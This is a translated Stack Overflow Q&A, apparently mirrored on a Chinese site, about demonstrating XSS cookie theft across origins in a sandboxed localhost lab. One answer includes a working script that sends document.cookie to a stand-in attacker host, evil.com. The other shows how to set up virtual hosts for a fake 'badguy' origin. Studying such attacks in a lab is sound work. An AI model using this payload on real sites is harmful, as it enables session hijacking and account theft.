首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如何使用localhost演示SOP的漏洞利用

如何使用localhost演示SOP的漏洞利用
EN

Stack Overflow用户
提问于 2011-11-27 20:43:33
回答 2查看 479关注 0票数 1

我正在做关于XSHM (跨站点历史操作)的项目。

我试图展示使用XSS (跨站点脚本)是如何违反SOP的。我已经在沙盒XP机器内设置了一个本地主机(WAMP)服务器(从道德上讲必须这样做),它有一个容易受到XSS攻击的简单登录脚本。

问题)我想展示在将恶意的JavaScript代码注入登录页面后,我可以向用户发送cookie到另一个来源,但是我如何使用本地主机服务器做到这一点呢?

如果localhost是一个源(即受害者站点),我如何创建不同于localhost的另一个源(即坏人站点)来发送cookie?我知道在同一来源要求(协议,端口和域)是相同的。我不能更改为HTTPS本地主机和HTTP本地主机,因为我没有获得证书。我似乎不能根据需要更改端口号:80 for web。

我不想使用一个真实的网站和发送cookie到本地主机脚本,因为这将是不道德的,也将无法执行攻击,因为它将不会有XSS漏洞来证明利用。

有什么想法吗?

EN

回答 2

Stack Overflow用户

发布于 2011-11-27 20:53:48

来源并不重要,脚本只需读取同一来源上的文档cookie,然后将其作为字符串发送到服务器,在服务器上对其进行解码,然后在作恶者的浏览器或类似浏览器中手动设置cookie。

代码语言:javascript
复制
<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>

这将发送一个在c参数中包含用户cookie详细信息的GET请求,简单地请求一个图像并不违反SOP,所以我不知道这是否有帮助。

票数 0
EN

Stack Overflow用户

发布于 2012-03-16 05:41:15

在您的Apache配置中设置一些virtual hosts,如下所示:

代码语言:javascript
复制
# Ensure that Apache listens on port 80
Listen 80

# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80

<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com

# Other directives here

</VirtualHost>

<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com

# Other directives here

</VirtualHost>

将它们指向hosts文件中的127.0.0.1

代码语言:javascript
复制
127.0.0.1    goodguy.com
127.0.0.1    badguy.com

现在,使用goodguy.combadguy.com而不是localhost

祝好运!

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/8285628

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档